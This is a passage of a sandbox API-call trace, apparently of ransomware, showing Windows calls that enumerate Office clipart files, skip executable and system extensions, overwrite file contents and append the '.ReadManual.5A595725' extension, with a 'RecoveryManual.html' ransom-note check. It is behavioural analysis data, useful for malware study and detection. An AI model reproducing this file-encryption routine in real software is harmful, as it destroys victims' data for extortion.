lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.653] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.653] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4ae) returned 0x2f0000 [0265.653] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.653] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38632176666) returned 1 [0265.653] CloseHandle (hObject=0x184) returned 1 [0265.653] SetSecurityInfo () returned 0x57 [0265.653] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.653] CloseHandle (hObject=0x194) returned 1 [0265.653] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xf00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099182.WMF", cAlternateFileName="")) returned 1 [0265.653] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099182.WMF" | out: lpString1="J0099182.WMF") returned="J0099182.WMF" [0265.653] lstrcmpiW (lpString1="J0099182.WMF", lpString2="RecoveryManual.html") returned -1 [0265.653] StrStrIW (lpFirst="J0099182.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.653] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0265.653] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0265.654] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0265.654] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0265.654] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0265.654] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0265.654] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0265.654] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0265.654] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0265.654] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0265.654] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0265.654] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0265.654] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0265.654] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0265.654] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" [0265.654] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF.ReadManual.5A595725" [0265.654] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF.ReadManual.5A595725") returned 87 [0265.654] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38632272715) returned 1 [0265.654] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf")) returned 0x20 [0265.654] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.654] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3840) returned 1 [0265.654] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf00, lpName=0x0) returned 0x184 [0265.654] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.655] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.655] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.657] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.657] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf00) returned 0x2f0000 [0265.657] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.657] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38632593679) returned 1 [0265.657] CloseHandle (hObject=0x184) returned 1 [0265.657] SetSecurityInfo () returned 0x57 [0265.657] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.657] CloseHandle (hObject=0x194) returned 1 [0265.657] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1352, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099183.WMF", cAlternateFileName="")) returned 1 [0265.658] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099183.WMF" | out: lpString1="J0099183.WMF") returned="J0099183.WMF" [0265.658] lstrcmpiW (lpString1="J0099183.WMF", lpString2="RecoveryManual.html") returned -1 [0265.658] StrStrIW (lpFirst="J0099183.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.658] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0265.658] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0265.658] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0265.658] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0265.658] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0265.658] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0265.658] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0265.658] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0265.658] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0265.658] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0265.658] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0265.658] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0265.658] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0265.658] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0265.658] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" [0265.658] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF.ReadManual.5A595725" [0265.658] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF.ReadManual.5A595725") returned 87 [0265.658] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38632702449) returned 1 [0265.658] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf")) returned 0x20 [0265.659] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.659] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4946) returned 1 [0265.659] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1352, lpName=0x0) returned 0x184 [0265.659] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.660] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.660] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.662] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.662] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1352) returned 0x2f0000 [0265.662] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.662] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38633081243) returned 1 [0265.662] CloseHandle (hObject=0x184) returned 1 [0265.662] SetSecurityInfo () returned 0x57 [0265.662] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.662] CloseHandle (hObject=0x194) returned 1 [0265.662] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1016, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099184.WMF", cAlternateFileName="")) returned 1 [0265.663] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099184.WMF" | out: lpString1="J0099184.WMF") returned="J0099184.WMF" [0265.663] lstrcmpiW (lpString1="J0099184.WMF", lpString2="RecoveryManual.html") returned -1 [0265.663] StrStrIW (lpFirst="J0099184.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.663] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0265.663] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0265.663] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0265.663] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0265.663] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0265.663] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0265.663] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0265.663] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0265.663] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0265.663] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0265.663] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0265.663] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0265.663] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0265.663] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0265.663] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" [0265.664] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF.ReadManual.5A595725" [0265.664] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF.ReadManual.5A595725") returned 87 [0265.664] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38633237439) returned 1 [0265.664] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf")) returned 0x20 [0265.664] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.664] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4118) returned 1 [0265.664] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1016, lpName=0x0) returned 0x184 [0265.664] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.665] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.665] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.667] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.667] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1016) returned 0x2f0000 [0265.667] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.667] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38633574015) returned 1 [0265.667] CloseHandle (hObject=0x184) returned 1 [0265.667] SetSecurityInfo () returned 0x57 [0265.667] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.667] CloseHandle (hObject=0x194) returned 1 [0265.667] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xcd2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099185.JPG", cAlternateFileName="")) returned 1 [0265.667] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099185.JPG" | out: lpString1="J0099185.JPG") returned="J0099185.JPG" [0265.667] lstrcmpiW (lpString1="J0099185.JPG", lpString2="RecoveryManual.html") returned -1 [0265.667] StrStrIW (lpFirst="J0099185.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.667] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0265.667] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0265.667] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0265.668] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0265.668] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0265.668] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0265.668] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0265.668] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0265.668] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0265.668] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0265.668] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0265.668] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0265.668] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0265.668] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0265.668] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" [0265.668] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG.ReadManual.5A595725" [0265.668] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG.ReadManual.5A595725") returned 87 [0265.668] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38633669319) returned 1 [0265.668] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg")) returned 0x20 [0265.668] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.668] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3282) returned 1 [0265.668] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcd2, lpName=0x0) returned 0x184 [0265.668] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.669] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.669] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.671] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.671] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xcd2) returned 0x2f0000 [0265.671] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.671] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38633973929) returned 1 [0265.671] CloseHandle (hObject=0x184) returned 1 [0265.671] SetSecurityInfo () returned 0x57 [0265.671] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.671] CloseHandle (hObject=0x194) returned 1 [0265.671] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x183cef00, ftCreationTime.dwHighDateTime=0x1bdbf74, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x183cef00, ftLastWriteTime.dwHighDateTime=0x1bdbf74, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099186.JPG", cAlternateFileName="")) returned 1 [0265.671] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099186.JPG" | out: lpString1="J0099186.JPG") returned="J0099186.JPG" [0265.671] lstrcmpiW (lpString1="J0099186.JPG", lpString2="RecoveryManual.html") returned -1 [0265.671] StrStrIW (lpFirst="J0099186.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.671] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0265.671] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0265.671] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0265.672] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0265.672] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0265.672] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0265.672] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0265.672] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0265.672] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0265.672] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0265.672] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0265.672] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0265.672] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0265.672] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0265.672] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" [0265.672] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG.ReadManual.5A595725" [0265.672] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG.ReadManual.5A595725") returned 87 [0265.672] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38634070044) returned 1 [0265.672] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg")) returned 0x20 [0265.672] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.672] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=16738) returned 1 [0265.672] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4162, lpName=0x0) returned 0x184 [0265.673] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.673] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.673] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.675] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.675] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4162) returned 0x2f0000 [0265.675] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.675] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38634419515) returned 1 [0265.675] CloseHandle (hObject=0x184) returned 1 [0265.676] SetSecurityInfo () returned 0x57 [0265.676] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.676] CloseHandle (hObject=0x194) returned 1 [0265.676] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe4b400, ftCreationTime.dwHighDateTime=0x1bdbf74, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe4b400, ftLastWriteTime.dwHighDateTime=0x1bdbf74, nFileSizeHigh=0x0, nFileSizeLow=0x5fd0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099187.JPG", cAlternateFileName="")) returned 1 [0265.676] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099187.JPG" | out: lpString1="J0099187.JPG") returned="J0099187.JPG" [0265.676] lstrcmpiW (lpString1="J0099187.JPG", lpString2="RecoveryManual.html") returned -1 [0265.676] StrStrIW (lpFirst="J0099187.JPG", 